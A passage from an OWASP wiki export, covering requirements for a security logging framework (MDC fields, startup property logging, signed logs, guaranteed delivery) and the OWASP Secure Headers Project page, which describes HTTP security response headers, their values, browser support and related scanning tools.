This an identifier set by the application designer to identify a unique application instance. This identifier is useful to identify applications uniquely where many instances of the same program (e.g., web application) are hosted on 1 or more physical servers. The application id is useful visual indicator of the type of application component. The instance id is useful to identify the application instance. The instance is particularly useful where the same process may host 2 or more application instances. An instance id may be a generated hash (e.g., VMID) or unique index where size is a concern. Once the id is used it should persist between process restarts. A suggested format: {APP ID}:{APP INSTANCE ID}. An sample POS:ace22c02aa858f670e3c227fbab141e2d8d6bea6 or POS:14563.

===server time\date in UTC (feature 1c)===
Time, date, and day, on the server with timezone offset at the time the message was logged. A suggested format[1], {yyyy-MM-dd'T'HH:mm:ss.SSSZ}. An example, 2001-07-04T12:08:56.235-0700

===client time\date in UTC (feature 1d)===
Time, date, and day, on the client with timezone offset at the time the message was logged. A suggested format[1], {yyyy-MM-dd'T'HH:mm:ss.SSSZ}. An example, 2001-07-04T12:08:56.235-0700

===client ip address (feature 1e)===
MDC property for the IP address of the client host where the log message originated. An example, 192.168.1.30

===user name or ID (feature 1f)===
This MDC property to property is an application account name associated with a human (if available) this is associated with this log message. This property may not be available if the log message is not specifically related to an individual's activity. An example, milton.smith

===global client session id (feature 1g)===
This MDC property is a session id assigned by an application designer that is shared across multiple application instances. Usually this is a secure hash to avoid reverse engineering. An example, ace22c02aa858f670e3c227fbab141e2d8d6bea6

===security policy identifier (feature 1h)===
MDC property that identifies activities associated with a sites security policy. The value is site defined and can be useful when producing information for audits. An example, Violation:SEC.5.2a

===transaction id (feature 1i)===
MDC property to identify activities associated with a single user action. For example, execution of a single application user feature may require many activities from the main application program along with components like LDAP servers and databases. The transaction id is useful to correlate all the related system activities that support a specific user request. Each subsequent user request receives a new transaction id. An example, TRX:1005862

==Feature 2, Log system properties on startup==
The requirement is to log all system properties on application startup. Often it’s difficult to perform an investigation without understanding the initial state of the system. An example how properties may appear in logs (without MDC information).

<pre>
*******************************************
JAVA PROPERTY SETTINGS
*******************************************
Setting, java.runtime.name=Java(TM) SE Runtime Environment
Setting, sun.boot.library.path=C:\Program Files\Java\jre6\bin
Setting, java.vm.version=14.0-b16
Setting, java.vm.vendor=Sun Microsystems Inc.
Setting, java.vendor.url=http://java.sun.com/
Setting, path.separator=;
Setting, java.vm.name=Java HotSpot(TM) Client VM
Setting, file.encoding.pkg=sun.io
Setting, sun.java.launcher=SUN_STANDARD
Setting, user.country=US
Setting, sun.os.patch.level=
Setting, java.vm.specification.name=Java Virtual Machine Specification
Setting, user.dir=C:\Users\Milton\workspace\MyProject
Setting, java.runtime.version=1.6.0_14-b08
Setting, java.awt.graphicsenv=sun.awt.Win32GraphicsEnvironment
Setting, java.endorsed.dirs=C:\Program Files\Java\jre6\lib\endorsed
Setting, os.arch=x86
Setting, java.io.tmpdir=C:\Users\Milton\AppData\Local\Temp\
Setting, line.separator=

Setting, java.vm.specification.vendor=Sun Microsystems Inc.
Setting, user.variant=
Setting, os.name=Windows 7
Setting, sun.jnu.encoding=Cp1252
Setting, java.library.path=C:\Program Files\Java\jre6\bin;.;C:\Windows\Sun\Java\bin;C:\Windows\system32;C:\Windows;C:/Program Files/Java/jre6/bin/client;C:/Program Files/Java/jre6/bin;C:\Program Files\JavaFX\javafx-sdk1.2\bin;C:\Program Files\JavaFX\javafx-sdk1.2\emulator\bin;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;c:\usershellcommands;C:\Program Files\QuickTime\QTSystem\
Setting, java.specification.name=Java Platform API Specification
Setting, java.class.version=50.0
Setting, sun.management.compiler=HotSpot Client Compiler
Setting, os.version=6.1
Setting, user.home=C:\Users\Milton
Setting, user.timezone=
Setting, java.awt.printerjob=sun.awt.windows.WPrinterJob
Setting, file.encoding=Cp1252
Setting, java.specification.version=1.6
Setting, java.class.path=C:\Users\Milton\workspace\SDA\bin;C:\Java-Libs\jmx-1_2_1-bin\lib\jmxri.jar;C:\Java-Libs\apache-log4j-1.2.15\log4j-1.2.15.jar
Setting, user.name=Milton
</pre>

==Feature 3, Log command line options on startup==
The requirement is to log all command line arguments on application startup. All command line arguments must be logged. In Java, the entire arg array passed into the main(String args[]) method should be logged. Any whitespace or special characters should be filtered before logged. For example a small program that echos the input to the command line may produce an output that looks like the following.

<pre>
*******************************************
COMMAND LINE ARGS
*******************************************
java testapp “Hello World!”
Hello World!
</pre>

==Feature 4, Log application server properties on startup==
The requirement is to log all key\value pairs that influence application behavior upon execution. In Java, there parameters are defined by HttpServlet.getInitParameterNames() An example of logged J2EE properties may look like the following.

<pre>
*******************************************
J2EE PROPERTIES
*******************************************
Setting, thread.pool.size=1000
Setting, request.ttlms=30000
</pre>

==Feature 5, Log HTTP request parameters==
The requirement is to log all key\value pairs associated with all application HTTP requests. Raw HTTP requests parameters across the cloud may generate significantly increase log volume. The goal is to define a request log that overwrites itself (e.g., a ring buffer) at a small designer specified interval or a default of 15 mins. This allows highly granular diagnostic messages over a short duration.

An ancillary requirement is that sensitive key\value pairs will be masked. A default set of masking rules will be included with the project with an option for designers to assign their own masking rules specific for their applications.

(TODOMS: need to insert some raw http requests from zap in a suitable log format)

==Feature 6, Log HTTP session attributes==

The requirement is to log all key\value pairs associated with a users HttpSession instance. These properties should be logged once upon user session initialization. In Java, key\value pairs from HttpSession.getAttributeName() should be logged when the HttpSession is created.

(TODOMS: need to insert some sample HTTP session attributes)

==Feature 7, Internationalization considerations==
The action is to use string resources so that logs are compatible across languages. The project will initially define US English. Designers are encouraged to translate resources to different languages. If the translations are made available to us we may include them.

==Feature 8, Redirect system streams like System.out and System.err to security logging framework==
This requirement captures any legacy messaging from older code without refactoring. The approach redirects any messages to system defined streams into the logging framework. Log messages will not be a content rich since since the caller, old code in this case, does not calling the Security API directly. The advantage is instant out of the box compatibility with no refactoring. In Java, the action is to capture calls like System.out.println(“My wife loves security.”) and System.err() reroute them to the logging framework without modification to legacy programs.

An ancillary requirement is that sensitive key\value pairs will be masked. A default set of masking rules will be included with the project with an option for designers to assign their own masking rules specific for their applications.

==Feature 9, Asynchronous message logging, store and forward==
The requirement for this feature one of performance. Log messages sent to a remote location (e.g., central log server) can take some time to send over networks. It may be desirable in some deployments for the caller not to block when logging these messages. The goal is to log the message locally, freeing the caller, then send the message in a background thread to the remote server. See Feature 15 also.

==Feature 10, Message correlation==
A problem with logs today is that it’s often difficult to reconstruct a series of activities leading to an event of interest. System logs are often out of order with messages originating from different threads and hosts. The goal of message correlation is to provide identifier(s) so that all log messages can be sequenced into a narrative of system activities leading to an event of interest. For example, with correlation it will be possible to separate log entries to see the activities involved in a single administrative user operation like Add User. Log entries to add a user may begin with HTTP posts from the clients browser, system permission checks, next a log message describing the insert of the new user into the user table, a log message of positive confirmation a SMTP message was sent to indicate the users new account is ready for initial signon.

==Feature 11, Performance options for transport compression==
Where log message will transit networks facilities will be provided to compress traffic to remote hosts.

==Feature 12, Authenticated client logging==
This feature is useful to ensure each message logged is attributable to a known source and trusted source. Messages from anonymous sources may still be allowed, depending upon system preferences, but authenticated messages will clearly indicate the identity of the source.

==Feature 13, Secure transport==
To facilitate secure transport a TLS 1.2 compliant connection be negotiated. Options must be provided to allow designers to control ciphersuite negotiation. Negotiation options must include provision for, a) the name of each ciphersuite permitted, b) order of negotiation which is ideally strongest suites first as a default but can be changed by the designer. The trust roots will be those supplied by the supporting language platform (e.g., Java, .NET, etc).

==Feature 14, Signed log messages==
To facilitate tamper resistant log messages log messages will be signed by the client. Each field of the log message will be included in the signing process. The signature will be included with the log message entry along with strongest fingerprint included within signing certificate. The fingerprint of the signing certificate is an aid to identify the signing certificate and may be important for enterprise or cloud environments where many clients are logging. Signed logs may or may not be encrypted.

==Feature 15, Guaranteed log message delivery==
This feature builds upon the Feature 9, Asynchronous message logging, store and forward to include guaranteed delivery. The goal is that no messages are lost. Messages received from the caller will be queued for delivery. Clients logging messages must block until their log message is committed to a queue. For simplicity, the queue will exist on the client computer. The function is somewhat analogous to a local print spooler. If committing to a queue is not possible an instance of a RuntimeException must be thrown to the caller. Once committed to a queue, worker threads will send the message in the background to the remote server. On the client, worker threads will not remove the log message from the queue until the server has acknowledged receipt.

From the server side, the server must maintain the client connection until the message is logged. If the message cannot be logged an instance of an Exception must be thrown. Using this system no message will ever be lost. A message will exist in only 3 states, 1) with the blocked client, 2) within the client’s log queue, 3) logged on the server. For a completely reliable solution, HA hardware and RAID media are required which is a consideration for system designers.

==Feedback==
Please report any concerns, correction, or other feedback to any of the project leads listed on the main project page.

=Minimum Viable Product=
<span style="color:#ff0000">
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap. And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.
</span>

=Project About=

<span style="color:#ff0000">
This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says "OWASP_Example_Project". When in doubt, ask the OWASP Projects Manager.
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project
</span>

{{:Projects/OWASP_Example_Project_About_Page}}

__NOTOC__ <headertabs />

[[Category:OWASP Project]] [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]] [[Category:OWASP_Code]]

REST Security Cheat Sheet

2018-05-16T08:15:43Z

Peter Mosmans: Correct misspellings

OWASP Secure Headers Project

2018-04-01T23:25:11Z

Peter Mosmans: Fix spelling

=Main=

[[File:Incubator_banner.jpg| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

==OWASP Secure Headers Project==

The OWASP Secure Headers Project describes HTTP response headers that your application can use to increase the security of your application. Once set, these HTTP response headers can restrict modern browsers from running into easily preventable vulnerabilities. The OWASP Secure Headers Project intends to raise awareness and use of these headers.

==Introduction==

HTTP headers are well known and also despised. Seeking the balance between usability and security developers implement functionality through the headers that can make your more versatile or secure application. But in practice how the headers are being implemented? What sites follow the best implementation practices? Big companies, small, all or none?

==Description==

We aim to publish reports on header usage stats, developments and changes. Code libraries that make these headers easily accessible to developers on a range of platforms. Data sets concerning the general usage of these headers.

==Licensing==
OWASP Secure Headers is free to use. It is licensed under the [https://github.com/oshp/headers/blob/master/LICENSE Apache 2.0 License].

{{Social Media Links}}
| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== Project Leader ==

[[User:Riramar | Ricardo Iramar]]

== Project Contributors ==

[[User:Jmanico | Jim Manico]]<br />
[[User:Amenezes | Alexandre Menezes]]

== Related Projects ==

* [[OWASP_Application_Security_Verification_Standard_Project | OWASP Application Security Verification Standard Project]]
* [[OWASP_Top_Ten_Project | OWASP Top Ten Project]]

== Quick Links ==

* [https://github.com/oshp/ Project GitHub Organization]
* [https://hub.docker.com/r/oshp/ Docker Hub Organization]
* [http://oshp.bsecteam.com Demo [develop preview]]
* [https://github.com/riramar/hsecscan hsecscan A security scanner for HTTP response headers]
* [https://lists.owasp.org/mailman/listinfo/owasp_secure_headers_project Project Email List]

| valign="top" style="padding-left:25px;width:200px;" |

== News and Events ==
* [20 Oct 2017] OWASP Secure Headers Project on [https://github.com/OWASP/Top10/blob/master/2017/OWASP%20Top%2010%202017%20RC2%20Final.pdf | OWASP Top 10 RC2]
* [14 Mar 2017] [https://hub.docker.com/r/oshp | Docker Hub Organization]
* [15 Oct 2016] [http://roadsec.com.br/curitiba2016/ | RoadSec Curitiba 2016 Presentation]
* [20/21 Set 2016] [http://mindthesec.com.br/ricardo-iramar-dos-santos | Mind The Sec 2016 Presentation]
* [05 Sep 2016] [https://github.com/oshp/ | Project Github Organization]
* [01 Sep 2016] Included X-Permitted-Cross-Domain-Policies header
* [14 Dec 2015] Reborn from the ashes

==Classifications==

{| width="200" cellpadding="2"
|-
| rowspan="2" align="center" valign="top" width="50%" | [[File:New projects.png|100px|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%" | [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%" | [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_CODE.jpg|link=]]
|}

|}

=Headers=

The following contains a list of HTTP response headers related to security.

==Response Headers==

* [[#hsts | HTTP Strict Transport Security (HSTS)]]
* [[#hpkp | Public Key Pinning Extension for HTTP (HPKP)]]
* [[#xfo | X-Frame-Options]]
* [[#xxxsp | X-XSS-Protection]]
* [[#xcto | X-Content-Type-Options]]
* [[#csp | Content-Security-Policy]]
* [[#xpcdp | X-Permitted-Cross-Domain-Policies]]
* [[#rp | Referrer-Policy]]
* [[#ect | Expect-CT]]

==<div id="hsts">HTTP Strict Transport Security (HSTS)</div>==

HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol [https://en.wikipedia.org/wiki/Downgrade_attack downgrade attacks] and [https://www.owasp.org/index.php/Session_hijacking_attack cookie hijacking]. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections, and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797. A server implements an HSTS policy by supplying a header (Strict-Transport-Security) over an HTTPS connection (HSTS headers over HTTP are ignored).

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| max-age=SECONDS
| The time, in seconds, that the browser should remember that this site is only to be accessed using HTTPS.
|-
| includeSubDomains
| If this optional parameter is specified, this rule applies to all of the site's subdomains as well.
|}

===Example===

<code>Strict-Transport-Security: max-age=31536000 ; includeSubDomains</code>

===References===

* https://tools.ietf.org/html/rfc6797
* https://www.owasp.org/index.php/HTTP_Strict_Transport_Security
* https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)
* https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
* https://www.chromium.org/hsts
* https://developer.mozilla.org/en-US/docs/Web/Security/HTTP_strict_transport_security
* https://raymii.org/s/tutorials/HTTP_Strict_Transport_Security_for_Apache_NGINX_and_Lighttpd.html

==<div id="hpkp">Public Key Pinning Extension for HTTP (HPKP)</div>==

HTTP Public Key Pinning (HPKP) is a security mechanism which allows HTTPS websites to resist impersonation by attackers using mis-issued or otherwise fraudulent certificates. (For example, sometimes attackers can compromise certificate authorities, and then can mis-issue certificates for a web origin.).

The HTTPS web server serves a list of public key hashes, and on subsequent connections clients expect that server to use one or more of those public keys in its certificate chain. Deploying HPKP safely will require operational and organizational maturity due to the risk that hosts may make themselves unavailable by pinning to a set of public key hashes that becomes invalid. With care, host operators can greatly reduce the risk of [https://www.owasp.org/index.php/Man-in-the-middle_attack man-in-the-middle (MITM) attacks] and other false authentication problems for their users without incurring undue risk.

Before implement HPKP please read this https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| pin-sha256="<sha256>"
| The quoted string is the Base64 encoded Subject Public Key Information (SPKI) fingerprint. It is possible to specify multiple pins for different public keys. Some browsers might allow other hashing algorithms than SHA-256 in the future.
|-
| max-age=SECONDS
| The time, in seconds, that the browser should remember that this site is only to be accessed using one of the pinned keys.
|-
| includeSubDomains
| If this optional parameter is specified, this rule applies to all of the site's subdomains as well.
|-
| report-uri="<URL>"
| If this optional parameter is specified, pin validation failures are reported to the given URL.
|}

===Example===

<code>Public-Key-Pins: pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; pin-sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g="; report-uri="<nowiki>http://example.com/pkp-report</nowiki>"; max-age=10000; includeSubDomains</code>

===References===

* https://tools.ietf.org/html/rfc7469
* https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning#HTTP_pinning
* https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning
* https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning
* https://raymii.org/s/articles/HTTP_Public_Key_Pinning_Extension_HPKP.html
* https://labs.detectify.com/2016/07/05/what-hpkp-is-but-isnt/
* https://blog.qualys.com/ssllabs/2016/09/06/is-http-public-key-pinning-dead
* https://scotthelme.co.uk/im-giving-up-on-hpkp/
* https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ

==<div id="xfo">X-Frame-Options</div>==

X-Frame-Options response header improve the protection of web applications against [https://www.owasp.org/index.php/Clickjacking Clickjacking]. It declares a policy communicated from a host to the client browser on whether the browser must not display the transmitted content in frames of other web pages.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| deny
| No rendering within a frame.
|-
| sameorigin
| No rendering if origin mismatch.
|-
| allow-from: DOMAIN
| Allows rendering if framed by frame loaded from DOMAIN.
|}

===Example===

<code>X-Frame-Options: deny</code>

===References===

* https://tools.ietf.org/html/rfc7034
* https://tools.ietf.org/html/draft-ietf-websec-x-frame-options-01
* https://tools.ietf.org/html/draft-ietf-websec-frame-options-00
* https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options
* https://www.owasp.org/index.php/Clickjacking
* https://blogs.msdn.microsoft.com/ieinternals/2010/03/30/combating-clickjacking-with-x-frame-options/

==<div id="xxxsp">X-XSS-Protection</div>==

This header enables the [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Cross-site scripting (XSS)] filter in your browser.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| 0
| Filter disabled.
|-
| 1
| Filter enabled. If a cross-site scripting attack is detected, in order to stop the attack, the browser will sanitize the page.
|-
| 1; mode=block
| Filter enabled. Rather than sanitize the page, when a XSS attack is detected, the browser will prevent rendering of the page.
|-
| 1; report=http://[YOURDOMAIN]/your_report_URI
| Filter enabled. The browser will sanitize the page and report the violation. This is a Chromium function utilizing CSP violation reports to send details to a URI of your choice.
|}

===Example===

<code>X-XSS-Protection: 1; mode=block</code>

===References===

* https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
* https://www.virtuesecurity.com/blog/understanding-xss-auditor/
* https://www.veracode.com/blog/2014/03/guidelines-for-setting-security-headers
* http://zinoui.com/blog/security-http-headers#x-xss-protection

==<div id="xcto">X-Content-Type-Options</div>==

Setting this header will prevent the browser from [https://en.wikipedia.org/wiki/Content_sniffing interpreting files as something else than declared by the content type] in the HTTP headers.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| nosniff
| Will prevent the browser from MIME-sniffing a response away from the declared content-type.
|}

===Example===

<code>X-Content-Type-Options: nosniff</code>

===References===

* https://msdn.microsoft.com/en-us/library/gg622941%28v=vs.85%29.aspx
* https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/

==<div id="csp">Content-Security-Policy</div>==

A Content Security Policy (CSP) requires careful tuning and precise definition of the policy. If enabled, CSP has significant impact on the way browsers render pages (e.g., inline JavaScript disabled by default and must be explicitly allowed in policy). CSP prevents a wide range of attacks, including [https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) Cross-site scripting] and other cross-site injections.

===Values===

{| class="wikitable"
|-
! Directive
! Description
|-
| base-uri
| Define the base uri for relative uri.
|-
| default-src
| Define loading policy for all resources type in case of a resource type dedicated directive is not defined (fallback).
|-
| script-src
| Define which scripts the protected resource can execute.
|-
| object-src
| Define from where the protected resource can load plugins.
|-
| style-src
| Define which styles (CSS) the user applies to the protected resource.
|-
| img-src
| Define from where the protected resource can load images.
|-
| media-src
| Define from where the protected resource can load video and audio.
|-
| frame-src
| Deprecated and replaced by child-src. Define from where the protected resource can embed frames.
|-
| child-src
| Define from where the protected resource can embed frames.
|-
| frame-ancestors
| Define from where the protected resource can be embedded in frames.
|-
| font-src
| Define from where the protected resource can load fonts.
|-
| connect-src
| Define which URIs the protected resource can load using script interfaces.
|-
| manifest-src
| Define from where the protected resource can load manifest.
|-
| form-action
| Define which URIs can be used as the action of HTML form elements.
|-
| sandbox
| Specifies an HTML sandbox policy that the user agent applies to the protected resource.
|-
| script-nonce
| Define script execution by requiring the presence of the specified nonce on script elements.
|-
| plugin-types
| Define the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded.
|-
| reflected-xss
| Instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks, equivalent to the effects of the non-standard X-XSS-Protection header.
|-
| block-all-mixed-content
| Prevent user agent from loading mixed content.
|-
| upgrade-insecure-requests
| Instructs user agent to download insecure resources using HTTPS.
|-
| referrer
| Define information user agent must send in Referer header.
|-
| report-uri
| Specifies a URI to which the user agent sends reports about policy violation.
|-
| report-to
| Specifies a group (defined in Report-To header) to which the user agent sends reports about policy violation.
|}

===Example===

<code>Content-Security-Policy: script-src 'self'</code>

===References===

* https://www.w3.org/TR/CSP/
* https://developer.mozilla.org/en-US/docs/Web/Security/CSP
* https://www.owasp.org/index.php/Content_Security_Policy
* https://scotthelme.co.uk/content-security-policy-an-introduction/
* https://report-uri.io
* http://www.cspplayground.com/home
* http://content-security-policy.com

==<div id="xpcdp">X-Permitted-Cross-Domain-Policies</div>==

A cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content make requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction.
Normally a meta-policy is declared in the master policy file, but for those who can’t write to the root directory, they can also declare a meta-policy using the X-Permitted-Cross-Domain-Policies HTTP response header.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| none
| No policy files are allowed anywhere on the target server, including this master policy file.
|-
| master-only
| Only this master policy file is allowed.
|-
| by-content-type
| [HTTP/HTTPS only] Only policy files served with Content-Type: text/x-cross-domain-policy are allowed.
|-
| by-ftp-filename
| [FTP only] Only policy files whose file names are crossdomain.xml (i.e. URLs ending in /crossdomain.xml) are allowed.
|-
| all
| All policy files on this target domain are allowed.
|}

===Example===

<code>X-Permitted-Cross-Domain-Policies: none</code>

===References===

* https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html
* https://www.adobe.com/devnet/adobe-media-server/articles/cross-domain-xml-for-streaming.html
* https://www.perpetual-beta.org/weblog/security-headers.html#rule-8470-2-establish-a-cross-domain-meta-policy
* https://danielnixon.org/http-security-headers/
* https://rorsecurity.info/portfolio/new-http-headers-for-more-security
* https://github.com/twitter/secureheaders/issues/88

==<div id="rp">Referrer-Policy</div>==

The Referrer-Policy HTTP header governs which referrer information, sent in the Referer header, should be included with requests made.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| no-referrer
| The Referer header will be omitted entirely. No referrer information is sent along with requests.
|-
| no-referrer-when-downgrade
| This is the user agent's default behavior if no policy is specified. The origin is sent as referrer to a-priori as-much-secure destination (HTTPS->HTTPS), but isn't sent to a less secure destination (HTTPS->HTTP).
|-
| origin
| Only send the origin of the document as the referrer in all cases. The document <nowiki>https://example.com/page.html</nowiki> will send the referrer <nowiki>https://example.com/</nowiki>.
|-
| origin-when-cross-origin
| Send a full URL when performing a same-origin request, but only send the origin of the document for other cases.
|-
| same-origin
| A referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information.
|-
| strict-origin
| Only send the origin of the document as the referrer to a-priori as-much-secure destination (HTTPS->HTTPS), but don't send it to a less secure destination (HTTPS->HTTP).
|-
| strict-origin-when-cross-origin
| Send a full URL when performing a same-origin request, only send the origin of the document to a-priori as-much-secure destination (HTTPS->HTTPS), and send no header to a less secure destination (HTTPS->HTTP).
|-
| unsafe-url
| Send a full URL (stripped from parameters) when performing a a same-origin or cross-origin request.
|}

===Example===

<code>Referrer-Policy: no-referrer</code>

===References===

* https://www.w3.org/TR/referrer-policy/
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy

==<div id="ect">Expect-CT</div>==

The Expect-CT header is used by a server to indicate that browsers should evaluate connections to the host emitting the header for [https://www.certificate-transparency.org Certificate Transparency] compliance.

===Values===

{| class="wikitable"
|-
! Value
! Description
|-
| report-uri
| The optional report-uri directive indicates the URL to which the browser should report Expect-CT failures.
|-
| enforce
| The optional enforce directive is a valueless directive that, if present, signals to the browser that compliance to the CT Policy should be enforced (rather than report-only) and that the browser should refuse future connections that violate its CT Policy. When both the enforce directive and report-uri directive are present, the configuration is referred to as an "enforce-and-report" configuration, signalling to the browser both that compliance to the CT Policy should be enforced and that violations should be reported.
|-
| max-age
| The max-age directive specifies the number of seconds after the reception of the Expect-CT header field during which the browser should regard the host from whom the message was received as a Known Expect-CT Host.
|}

===Example===

<code>Expect-CT: max-age=86400, enforce, report-uri="https://foo.example/report"</code>

===References===

* https://tools.ietf.org/html/draft-ietf-httpbis-expect-ct-02
* http://httpwg.org/http-extensions/expect-ct.html
* https://scotthelme.co.uk/a-new-security-header-expect-ct/

=Compatibility Matrix=

==Browser Support==

{| class="wikitable" style="text-align: center;"
! !! Internet Explorer !! Edge !! Firefox !! Chrome !! Safari !! Opera !! Android
|-
! HTTP Strict Transport Security (HSTS)
| 11 || 13 || 47 || 49 || 9.1 || 39 || 4.4
|-
! Public Key Pinning Extension for HTTP (HPKP)
| NS || NS || 47 || 49 || NS || 39 || 51
|-
! X-Frame-Options
| 8 || 13 || 47 || 49 || 9.1 || 39 || 4.4
|-
! X-XSS-Protection
| 8 || || NS || 4+ || || ||
|-
! X-Content-Type-Options
| 8 || || 51 || 1.0 || NS || 13 ||
|-
! Content-Security-Policy
| 11 || 13 || 47 || 49 || 9.1 || 39 || 4.4
|-
! X-Permitted-Cross-Domain-Policies
| || || || || || ||
|-
! Referrer-Policy
|NS||NS||50||56||NS||43||
|-
! Expect-CT
| || || || 61 || || 48 ||
|}

NS = Not Supported

+ = Specified version and above

==References==

* HTTP Strict Transport Security (HSTS)
** https://blogs.windows.com/msedgedev/2015/06/09/http-strict-transport-security-comes-to-internet-explorer-11-on-windows-8-1-and-windows-7/
** https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security
** https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
** http://caniuse.com/#search=HSTS
* Public Key Pinning Extension for HTTP (HPKP)
** http://caniuse.com/#search=Public%20Key%20Pinning
** https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/he9tr7p3rZ8/eNMwKPmUBAAJ
* X-Frame-Options
** http://caniuse.com/#search=X-Frame-Options
* X-XSS-Protection
** https://wiki.mozilla.org/Security/Features/XSS_Filter
** https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/
* X-Content-Type-Options
** https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
* Content-Security-Policy
** http://caniuse.com/#search=Content%20Security%20Policy
* X-Permitted-Cross-Domain-Policies
** https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html
* Referrer-Policy
** https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
* Expect-CT
** https://www.chromestatus.com/feature/5677171733430272

=Stats=
Coming soon... for now check [https://oshp.bsecteam.com this].

=Technical Resources=
This section cover a list of tools to analyze, develop and administrate HTTP secure headers in order to help achieve more secure and trustworthy web systems.

{| width="100%" cellpadding="7" cellspacing="0" <col width="325"><col width="316">
! ead |
|- valign="top"
| width="50%" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Analysis Tools'''
| width="“50%”" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''Reference'''

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''hsecscan'''

<font size="2" style="font-size: 9pt”">
A security scanner for HTTP response headers.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt">
* Github: https://github.com/riramar/hsecscan
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''headers'''

<font size="2" style="font-size: 9pt”">
Python script to get some response headers from Alexa top sites file and store in a MySQL database.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt">
* Github: https://github.com/oshp/headers/
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''securityheaders.io'''

<font size="2" style="font-size: 9pt">
There are services out there that will analyse the HTTP response headers of other sites but I also wanted to add a rating system to the results. The HTTP response headers that this site analyses provide huge levels of protection and it's important that sites deploy them. Hopefully, by providing an easy mechanism to assess them, and further information on how to deploy missing headers, we can drive up the usage of security based headers across the web.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt">
* Site: https://securityheaders.io/
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''Mozilla Observatory'''

<font size="2" style="font-size: 9pt">
A Mozilla project designed to help developers, system administrators, and security professionals configure their sites safely and securely.
</font>

| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
<font size="2" style="font-size: 9pt">
* Site: https://mozilla.github.io/http-observatory-website/
</font>

|- valign="top"
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
'''High-Tech Bridge Web Security Scanner'''

<font size="2" style="font-size: 9pt">
